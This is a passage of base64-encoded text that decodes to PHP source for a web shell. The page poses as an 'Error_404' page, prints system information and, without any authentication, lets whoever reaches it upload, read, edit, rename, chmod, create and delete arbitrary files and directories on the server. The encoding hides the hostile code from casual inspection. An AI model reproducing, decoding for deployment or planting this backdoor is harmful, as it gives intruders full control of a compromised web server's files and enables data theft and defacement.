cm1zICYgMHhDMDAwKSA9PSAweEMwMDApIHsvLyBTb2NrZXQKICAgICAgICAgICAgJGluZm8gPSAncyc7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweEEwMDApID09IDB4QTAwMCkgey8vIFN5bWJvbGljIExpbmsKICAgICAgICAgICAgJGluZm8gPSAnbCc7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDgwMDApID09IDB4ODAwMCkgey8vIFJlZ3VsYXIKICAgICAgICAgICAgJGluZm8gPSAnLSc7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDYwMDApID09IDB4NjAwMCkgey8vIEJsb2NrIHNwZWNpYWwKICAgICAgICAgICAgJGluZm8gPSAnYic7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDQwMDApID09IDB4NDAwMCkgey8vIERpcmVjdG9yeQogICAgICAgICAgICAkaW5mbyA9ICdkJzsKICAgICAgICB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4MjAwMCkgPT0gMHgyMDAwKSB7Ly8gQ2hhcmFjdGVyIHNwZWNpYWwKICAgICAgICAgICAgJGluZm8gPSAnYyc7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDEwMDApID09IDB4MTAwMCkgey8vIEZJRk8gcGlwZQogICAgICAgICAgICAkaW5mbyA9ICdwJzsKICAgICAgICB9IGVsc2Ugey8vIFVua25vd24KICAgICAgICAgICAgJGluZm8gPSAndSc7CiAgICAgICAgfQovLyBPd25lcgogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMTAwKSA/ICdyJyA6ICctJyk7CiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwODApID8gJ3cnIDogJy0nKTsKICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA0MCkgPwogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDgwMCkgPyAncycgOiAneCcgKSA6CiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwODAwKSA/ICdTJyA6ICctJykpOwoKLy8gR3JvdXAKICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAyMCkgPyAncicgOiAnLScpOwogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7CiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDgpID8KICAgICAgICAgICAgKCgkcGVybXMgJiAweDA0MDApID8gJ3MnIDogJ3gnICkgOgogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsKCi8vIFdvcmxkCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDQpID8gJ3InIDogJy0nKTsKICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwMikgPyAndycgOiAnLScpOwogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDAxKSA/CiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICd0JyA6ICd4JyApIDoKICAgICAgICAgICAgKCgkcGVybXMgJiAweDAyMDApID8gJ1QnIDogJy0nKSk7CgogICAgICAgIHJldHVybiAkaW5mbzsKICAgIH0KCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQogICAgLyoqCiAgICAgKiDovazljJYgXCDkuLogLwogICAgICovCiAgICBmdW5jdGlvbiBkaXJfcGF0aCgkcGF0aCkKICAgIHsKICAgICAgICAkcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJHBhdGgpOwogICAgICAgIGlmIChzdWJzdHIoJHBhdGgsIC0xKSAhPSAnLycpICRwYXRoID0gJHBhdGggLiAnLyc7CiAgICAgICAgcmV0dXJuICRwYXRoOwogICAgfQoKLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgogICAgLyoqIOWPluW+l+ermeeCueagueebruW9lQogICAgICogQHJldHVybiBhcnJheXxzdHJpbmd8c3RyaW5nW10KICAgICAqLwogICAgZnVuY3Rpb24gZG9jdW1lbnRfcm9vdCgpewoKICAgICAgICAkcGhwX3NlbGYgPSBkaXJfcGF0aCgkX1NFUlZFUlsiUEhQX1NFTEYiXSk7CiAgICAgICAgJHNjcmlwdF9maWxlbmFtZSA9IGRpcl9wYXRoKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7CiAgICAgICAgaWYgKGVtcHR5KCRfU0VSVkVSWyJQSFBfU0VMRiJdKSBvciBlbXB0eSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pKXsKICAgICAgICAgICAgJGRvMSA9IGRpcl9wYXRoKCRfU0VSVkVSWyJET0NVTUVOVF9ST09UIl0pOwogICAgICAgICAgICAkZG8gPSBydHJpbSgkZG8xLCcvJyk7CiAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICRkbyA9IHN0cl9yZXBsYWNlKHN0cl9yZXBsYWNlKCIvLyIsICIvIiwgJHBocF9zZWxmKSwgIiIsIHN0cl9yZXBsYWNlKCJcXFxcIiwgIi8iLCAkc2NyaXB0X2ZpbGVuYW1lKSk7CiAgICAgICAgfQoJCWlmKGVtcHR5KCRkbykpICRkbyA9ICcvJzsKICAgICAgICByZXR1cm4gJGRvOwogICAgfQogICAgJGRvY3VtZW50X3Jvb3QgPSBkb2N1bWVudF9yb290KCk7CiAgICBkZWZpbmUoJ0RPQ1VNRU5UX1JPT1QnLCAkZG9jdW1lbnRfcm9vdCk7CgovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCgoKICAgICRwaHBfdmVyc2lvbiA9IFBIUF9NQUpPUl9WRVJTSU9OOwoJaWYoJHBocF92ZXJzaW9uPD03KXsKCQlpZihnZXRfbWFnaWNfcXVvdGVzX2dwYygpKXsKCQkJZm9yZWFjaCgkX1BPU1QgYXMgJGtleT0+JHZhbHVlKXsKCQkJCSRfUE9TVFska2V5XSA9IHN0cmlwc2xhc2hlcygkdmFsdWUpOwoJCQl9CgkJfQoJfQoKICAgICRWZXJzaW9uID0gYmFzZTY0X2RlY29kZSgnNXB5QTVaQ081NXFFNVlDVTVieTYnKTsKICAgIGlmKGlzc2V0KCRfR0VUWydwYXRoJ10pKXsKICAgICAgICAkcGF0aCA9ICRfR0VUWydwYXRoJ107CiAgICB9ZWxzZXsKICAgICAgICAkcGF0aCA9IGdldGN3ZCgpOwogICAgfQoKCiAgICBlY2hvICc8IWRvY3R5cGUgaHRtbD4KPGh0bWw+CjxoZWFkPgo8dGl0bGU+JkVycm9yXzQwNCY8L3RpdGxlPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCIvPgo8L2hlYWQ+JzsKICAgID8+CgogICAgPGNlbnRlcj4KICAgICAgICA8c3R5bGU+CiAgICAgICAgICAgIGJvZHl7YmFja2dyb3VuZDojZTZlNmU2O2xpbmUtaGVpZ2h0OjE7Y29sb3I6IzAwMDtmb250LWZhbWlseTpDb21pYyBTYW5zIE1TO3dpZHRoOjYwJTttYXJnaW46MCBhdXRvO30KICAgICAgICAgICAgdGFibGUsdGgsdGR7Ym9yZGVyLWNvbGxhcHNlOmNvbGxhcHNlO2JhY2tncm91bmQ6dHJhbnNwYXJlbnQ7Zm9udC1zaXplOjEzcHg7fQogICAgICAgICAgICBpbnB1dCx0ZXh0YXJlYXt9CiAgICAgICAgICAgIC50YWJsZV9ob21lLC50aF9ob21lLC50ZF9ob21le2NvbG9yOmdyZXk7Ym9yZGVyOjFweCBzb2xpZCBncmV5O30KICAgICAgICAgICAgdGh7cGFkZGluZzoxMHB4O30KICAgICAgICAgICAgLnRkX2hvbWV7cGFkZGluZzo3cHg7fQogICAgICAgICAgICBhe2NvbG9yOiMwMDA7IHRleHQtZGVjb3JhdGlvbjpub25lO30KICAgICAgICAgICAgdGV4dGFyZWF7d2lkdGg6MTAwJTtoZWlnaHQ6NDAwcHg7fQogICAgICAgICAgICAjY29udGVudCB0cjpob3ZlcntiYWNrZ3JvdW5kLWNvbG9yOiNjZWNlY2U7dGV4dC1zaGFkb3c6MHB4IDBweCAxMHB4ICNmZmY7Y29sb3I6I2ZmZjt9CiAgICAgICAgICAgIC5kaCBheyBwYWRkaW5nLWxlZnQ6IDEwcHg7IHBhZGRpbmctcmlnaHQ6IDEwcHg7IGJvcmRlci1yaWdodDogMXB4IHNvbGlkICMwMDA7fQogICAgICAgICAgICAuZGggYTpob3ZlcnsgY29sb3I6ICNmMDA7fQogICAgICAgIDwvc3R5bGU+CiAgICA8P3BocAogICAgZWNobyAnPC9oZWFkPgo8Ym9keT48Yj4KPEgxPjxjZW50ZXI+PGZvbnQgY29sb3I9InJlZCI+Jy4kVmVyc2lvbi4nPC9mb250PjwvY2VudGVyPjwvaDE+Cjx0YWJsZSB3aWR0aD0iNzAwIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIzIiBjZWxsc3BhY2luZz0iMSIgYWxpZ249ImNlbnRlciI+Cgo8dHI+PHRkPgoKPGZvbnQgPjxjZW50ZXI+Jy5waHBfdW5hbWUoKS4nPC9jZW50ZXI+PC9mb250Pjxicj4nOwogICAgaWYoaXNzZXQoJF9HRVRbJ3BhdGgnXSkpewogICAgICAgICRwYXRoID0gJF9HRVRbJ3BhdGgnXTsKICAgIH1lbHNlewogICAgICAgICRwYXRoID0gZ2V0Y3dkKCk7CiAgICB9CiAgICAkcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsJy8nLCRwYXRoKTsKICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCRwYXRoKTsKCiAgICAkZ2VuX2xpbmtfdXJsID0gJzxhIHN0eWxlPSJjb2xvcjojMDA2NkZGIiBocmVmPSI/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuRE9DVU1FTlRfUk9PVDsKICAgICRnZW5fbGlua191cmwgLj0gJyI+5qC555uu5b2VIO+8miAgICA8L2E+Jm5ic3A7JzsKICAgIGVjaG8gJGdlbl9saW5rX3VybDsKCiAgICBmb3JlYWNoKCRwYXRocyBhcyAkaWQ9PiRwYXQpewogICAgICAgIGlmKCRwYXQgPT0gJycgJiYgJGlkID09IDApewogICAgICAgICAgICAkYSA9IHRydWU7CiAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSMwMDA+CjxhIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9LyI+LzwvYT4nOwogICAgICAgICAgICBjb250aW51ZTsKICAgICAgICB9CiAgICAgICAgaWYoJHBhdCA9PSAnJykgY29udGludWU7CiAgICAgICAgZWNobyAnPGEgc3R5bGU9ImNvbG9yOiMwMDY2RkYiIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9JzsKICAgICAgICBmb3IoJGk9MDskaTw9JGlkOyRpKyspewogICAgICAgICAgICBlY2hvICIkcGF0aHNbJGldIjsKICAgICAgICAgICAgaWYoJGkgIT0gJGlkKSBlY2hvICIvIjsKICAgICAgICB9CiAgICAgICAgZWNobyAnIj4nLiRwYXQuJzwvYT4vJzsKICAgIH0KICAgIGVjaG8gJzwvZm9udD4KPGJyPjxicj4KPC90ZD48L3RyPjx0cj48dGQ+PGNlbnRlcj4nOwoKICAgIGlmKGlzc2V0KCRfRklMRVNbJ2ZpbGUnXSkpewogICAgICAgIGlmKGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCRwYXRoLicvJy4kX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSkpewogICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuS4iuS8oOaIkOWKnyA6KTwvZm9udD48YnIgLz48YnIgLz4nOwogICAgICAgIH1lbHNlewogICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7kuIrkvKDlpLHotKUgPC9mb250PjxiciAvPjxiciAvPic7CiAgICAgICAgfQogICAgfQogICAgZWNobyAnPC9jZW50ZXI+PGNlbnRlcj48Zm9ybSBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiPjxmb250IGNvbG9yPSJ3aGl0ZSI+PGlucHV0IHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2ZvbnQtZmFtaWx5OiBDb21pYyBTYW5zIE1TICIgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgLz4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IuS4iuS8oCIgLz4KPC9mb3JtPjwvY2VudGVyPgo8L3RkPjwvdHI+JzsKICAgIGlmKGlzc2V0KCRfR0VUWydmaWxlc3JjJ10pKXsKICAgICAgICBlY2hvICI8dHI+PHRkPjxjZW50ZXI+5b2T5YmN5paH5Lu2IDogIjsKICAgICAgICBlY2hvICRfR0VUWydmaWxlc3JjJ107CiAgICAgICAgZWNobyAnPC9jZW50ZXI+PC90cj48L3RkPjwvdGFibGU+PGJyIC8+JzsKICAgICAgICBlY2hvKCcgPHRleHRhcmVhIHN0eWxlPSJ3aWR0aDogMTAwJTtoZWlnaHQ6IDQwMHB4OyIgcmVhZG9ubHk+ICcuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkX0dFVFsnZmlsZXNyYyddKSkuJzwvdGV4dGFyZWE+Jyk7CiAgICB9Ci8vRW1wZXR5CiAgICBlbHNlaWYoaXNzZXQoJF9HRVRbJ29wdGlvbiddKSAmJiAkX0dFVFsnb3B0J10gIT0gJ2RlbGV0ZScpewovLyBlY2hvICc8L3RhYmxlPjxiciAvPjxjZW50ZXI+Jy4kX1BPU1RbJ3BhdGgnXS4nPGJyIC8+PGJyIC8+JzsKICAgICAgICBlY2hvICc8L3RhYmxlPjxiciAvPjxjZW50ZXI+JzsKLy9DaG1vZAogICAgICAgIGlmKCRfR0VUWydvcHQnXSA9PSAnY2htb2QnKXsKICAgICAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydwZXJtJ10pKXsKICAgICAgICAgICAgICAgICRuZXdfcGVybV9vID0gJF9QT1NUWydwZXJtJ107CgogICAgICAgICAgICAgICAgaWYoc3RybGVuKCRuZXdfcGVybV9vKTw9MykgJG5ld19wZXJtX289c3RyX3BhZCgkbmV3X3Blcm1fbywzLCc2JyxTVFJfUEFEX0xFRlQpOwogICAgICAgICAgICAgICAgJG5ld19wZXJtX289aW50dmFsKHN0cl9wYWQoJG5ld19wZXJtX28sNCwnMCcsU1RSX1BBRF9MRUZUKSw4KTsKCiAgICAgICAgICAgICAgICBpZihjaG1vZCgkX1BPU1RbJ3BhdGgnXSwkbmV3X3Blcm1fbykpewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+5pu05pS55p2D6ZmQ5oiQ5Yqf77yBIDwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+5pu05pS55p2D6ZmQ6ZSZ6K+v77yBIDwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CgogICAgICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107CiAgICAgICAgICAgICR5ZWFoID0gJF9HRVRbJ25hbWUnXTsKICAgICAgICAgICAgJHBhdGMgPSAiJGhlbGwvJHllYWgiOwoKICAgICAgICAgICAgZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIj48YnI+CuW9k+WJjeaWh+S7tiA6ICcuJHBhdGMuJzxicj48YnI+5p2D6ZmQLS0tLScuc3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRwYXRjKSwxMCw4KSwtNCkuJzxicj48YnI+Cuiuvue9ruaWsOadg+mZkCA6IDxpbnB1dCBuYW1lPSJwZXJtIiB0eXBlPSJ0ZXh0IiBzaXplPSI0IiB2YWx1ZT0iJy5zdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJHBhdGMpKSwgLTQpLiciIC8+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRwYXRjLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJjaG1vZCI+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIC8+CjwvZm9ybT4KPGJyPgo8YSBocmVmPSI/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJyIgc3R5bGU9ImRpc3BsYXk6YmxvY2s7IHdpZHRoOjEwMCU7IiB0aXRsZT0i5Y+N5ZueIj7lj43lm548L2E+Cic7CgogICAgICAgIH0KLy8KICAgICAgICBlbHNlaWYoJF9HRVRbJ29wdCddID09ICdidHcnKXsKICAgICAgICAgICAgJGN3ZCA9ICRfR0VUWydwYXRoJ107CgogICAgICAgICAgICBlY2hvICc8Zm9ybSBhY3Rpb249Ij9BUlJBWT0nLiRBUlJBWS4nJm9wdGlvbiZwYXRoPScuJGN3ZC4nJm9wdD1kZWxldGUmdHlwZT1idWF0IiBtZXRob2Q9IlBPU1QiPgrmlrDnm67lvZXlkI0gOiA8aW5wdXQgbmFtZT0ibmFtZSIgdHlwZT0idGV4dCIgc2l6ZT0iMjAiIHZhbHVlPSJGb2xkZXIiIC8+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRjd2QuJyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImRlbGV0ZSI+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIC8+CjwvZm9ybT4nOwogICAgICAgIH0KLy9SZW5hbWUgZmlsZQogICAgICAgIGVsc2VpZigkX0dFVFsnb3B0J10gPT0gJ3JlbmFtZScpewogICAgICAgICAgICBpZihpc3NldCgkX1BPU1RbJ25ld25hbWUnXSkpewogICAgICAgICAgICAgICAgaWYocmVuYW1lKCRfUE9TVFsncGF0aCddLCRwYXRoLicvJy4kX1BPU1RbJ25ld25hbWUnXSkpewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+6YeN5ZG95ZCN5oiQ5YqfISA6KTwvZm9udD48YnIgLz48YnIgLz4nOwogICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+6YeN5ZG95ZCN5aSx6LSlISA6KCA8L2ZvbnQ+PGJyIC8+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRfUE9TVFsnbmFtZSddID0gJF9QT1NUWyduZXduYW1lJ107CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJGhlbGwgPSAkX0dFVFsncGF0aCddOwogICAgICAgICAgICAkeWVhaCA9ICRfR0VUWyduYW1lJ107CiAgICAgICAgICAgICRwYXRjID0gIiRoZWxsLyR5ZWFoIjsKICAgICAgICAgICAgJG5ldyA9ICRfUE9TVFsnbmV3bmFtZSddOwoKICAgICAgICAgICAgZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIj4K5paw5ZCN56ewIDogPGlucHV0IG5hbWU9Im5ld25hbWUiIHR5cGU9InRleHQiIHNpemU9IjIwIiB2YWx1ZT0iJy4kbmV3LiciIC8+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRwYXRjLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJyZW5hbWUiPgo8aW5wdXQgdHlwZT0ic3VibWl0IiAvPjxicj48YnI+CjxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSLlj43lm54iIG9uQ2xpY2s9ImphdmFzY3JpcHQ6bG9jYXRpb24uaHJlZj1cJz9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kaGVsbC4nXCciPgo8L2Zvcm0+JzsKICAgICAgICB9Ci8vRmlsZSBiYXJ1CiAgICAgICAgZWxzZWlmKCRfR0VUWydvcHQnXSA9PSAnYmFydScpewoKICAgICAgICAgICAgJGhlbGwgPSAkX0dFVFsncGF0aCddOwogICAgICAgICAgICAkeWVhaCA9ICRfR0VUWyduYW1lJ107CiAgICAgICAgICAgICRwYXRjID0gIiRoZWxsLyR5ZWFoIjsKICAgICAgICAgICAgJG5ldyA9IGVtcHR5KCRfUE9TVFsnbmV3bmFtZSddKT8kX1BPU1RbJ25nYXJhbjEnXTokX1BPU1RbJ25ld25hbWUnXTsKICAgICAgICAgICAgJGF6eiA9ICRfUE9TVFsncGF0aCddOwogICAgICAgICAgICAkbmV3eiA9ICRhenouIi8iLiRuZXc7CiAgICAgICAgICAgICRuZXdfZmllbCA9ICRoZWxsLicvJy4kX1BPU1RbJ25nYXJhbjEnXTsKICAgICAgICAgICAgaWYoIWVtcHR5KCRfUE9TVFsnbmdhcmFuMSddKSkgZWNobyAi5q2j5Zyo5paw5bu65paH5Lu277yaeyRuZXdfZmllbH08YnI+PGJyPiI7CiAgICAgICAgICAgIGlmKGlzc2V0KCRfUE9TVFsnc3JjJ10pKXsKICAgICAgICAgICAgICAgICRmcCA9IGZvcGVuKCRfUE9TVFsncGF0aCddLCd3Jyk7CiAgICAgICAgICAgICAgICBpZihmd3JpdGUoJGZwLCRfUE9TVFsnc3JjJ10pKXsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuaWsOW7uuaWh+S7tuaIkOWKnyBbICcuJGF6ei4nIF08L2ZvbnQ+PGJyIC8+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPuaWsOW7uuaWh+S7tuWksei0pSA+Oig8L2ZvbnQ+PGJyIC8+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGZjbG9zZSgkZnApOwogICAgICAgICAgICB9CgogICAgICAgICAgICBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPiDmlrDmlofku7blkI0gOiA8aW5wdXQgbmFtZT0ibmdhcmFuMSIgdHlwZT0idGV4dCIgc2l6ZT0iMjAiIHZhbHVlPSInLiRuZXcuJyIgLz48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJuZ2FyYW4iIC8+PC9mb3JtPjxicj4gJzsKCiAgICAgICAgICAgICRobyA9ICRfUE9TVFsnbmdhcmFuMSddOwoKICAgICAgICAgICAgaWYoaXNzZXQoJF9QT1NUWyduZ2FyYW4nXSkpewogICAgICAgICAgICAgICAgZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIj4KPHRleHRhcmVhIGNvbHM9ODAgcm93cz0yMCBuYW1lPSJzcmMiPicuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkcGF0YykpLic8L3RleHRhcmVhPjxiciAvPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kaGVsbC4nLycuJGhvLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJlZGl0Ij4KPGlucHV0IHR5cGU9InN1Ym1pdCIgIC8+CjwvZm9ybT4nOwogICAgICAgICAgICB9CiAgICAgICAgfQovL0VkaXRlZCBmaWxlCiAgICAgICAgZWxzZWlmKCRfR0VUWydvcHQnXSA9PSAnZWRpdCcpewogICAgICAgICAgICBpZihpc3NldCgkX1BPU1RbJ3NyYyddKSl7CiAgICAgICAgICAgICAgICAkZnAgPSBmb3BlbigkX1BPU1RbJ3BhdGgnXSwndycpOwogICAgICAgICAgICAgICAgaWYoZndyaXRlKCRmcCwkX1BPU1RbJ3NyYyddKSl7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7nvJbovpHmiJDlip/vvIEgPC9mb250PjxiciAvPjxiciAvPic7CiAgICAgICAgICAgICAgICB9ZWxzZXsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7nvJbovpHlpLHotKXvvIE8L2ZvbnQ+PGJyIC8+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGZjbG9zZSgkZnApOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsKICAgICAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOwogICAgICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7CiAgICAgICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+Cjx0ZXh0YXJlYSBjb2xzPTgwIHJvd3M9MjAgbmFtZT0ic3JjIj4nLmh0bWxzcGVjaWFsY2hhcnMoZmlsZV9nZXRfY29udGVudHMoJHBhdGMpKS4nPC90ZXh0YXJlYT48YnIgLz4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9IicuJHBhdGMuJyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImVkaXQiPjxicj4KPGlucHV0IHR5cGU9InN1Ym1pdCIgIC8+Cjxicj4KPGJyPgo8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0i5Y+N5ZueIiBvbkNsaWNrPSJqYXZhc2NyaXB0OmxvY2F0aW9uLmhyZWY9XCc/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJ1wnIj4KCjwvZm9ybT4nOwogICAgICAgIH0KICAgICAgICBlY2hvICc8L2NlbnRlcj4nOwogICAgfWVsc2V7CiAgICAgICAgZWNobyAnPC90YWJsZT48YnIgLz48Y2VudGVyPic7Ci8vRGVsZXRlIGRpciBhbmQgZmlsZQogICAgICAgIGlmKGlzc2V0KCRfR0VUWydvcHRpb24nXSkgJiYgJF9HRVRbJ29wdCddID09ICdkZWxldGUnKXsKCiAgICAgICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsKICAgICAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOwogICAgICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7CgovL0RlbGV0ZSBkaXIKICAgICAgICAgICAgaWYoJF9HRVRbJ3R5cGUnXSA9PSAnZGlyJyl7CgogICAgICAgICAgICAgICAgaWYocm1kaXIoJHBhdGMpKXsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuWIoOmZpOaIkOWKn++8gTwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCMiPuWIoOmZpOWksei0pSE+Oig8L2ZvbnQ+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQovL2J1YXQgZm9sZGVyCiAgICAgICAgICAgIGlmKCRfR0VUWyd0eXBlJ10gPT0gJ2J1YXQnKXsKICAgICAgICAgICAgICAgICRoYWFhID0gJF9QT1NUWydwYXRoJ107CiAgICAgICAgICAgICAgICAkaGVlZSA9ICRfUE9TVFsnbmFtZSddOwogICAgICAgICAgICAgICAgJGhvb28gPSAiJGhhYWEvJGhlZWUiOwogICAgICAgICAgICAgICAgJG5ldyA9ICRoYWFhLicvJy5odG1sc3BlY2lhbGNoYXJzKCRoZWVlKTsKICAgICAgICAgICAgICAgIGlmKCFta2RpcigkbmV3KSl7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+5paw5bu655uu5b2V5aSx6LSlITwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mlrDlu7rnm67lvZXmiJDlip8hID46KTwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9Ci8vRGVsZXRlIGZpbGUKICAgICAgICAgICAgZWxzZWlmKCRfR0VUWyd0eXBlJ10gPT0gJ2ZpbGUnKXsKCiAgICAgICAgICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107CiAgICAgICAgICAgICAgICAkeWVhaCA9ICRfR0VUWyduYW1lJ107CiAgICAgICAgICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7CgogICAgICAgICAgICAgICAgaWYodW5saW5rKCRwYXRjKSl7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mlofku7bliKDpmaTmiJDlip88L2ZvbnQ+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPuaWh+S7tuWIoOmZpOWksei0pTwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGVjaG8gJzwvY2VudGVyPic7CiA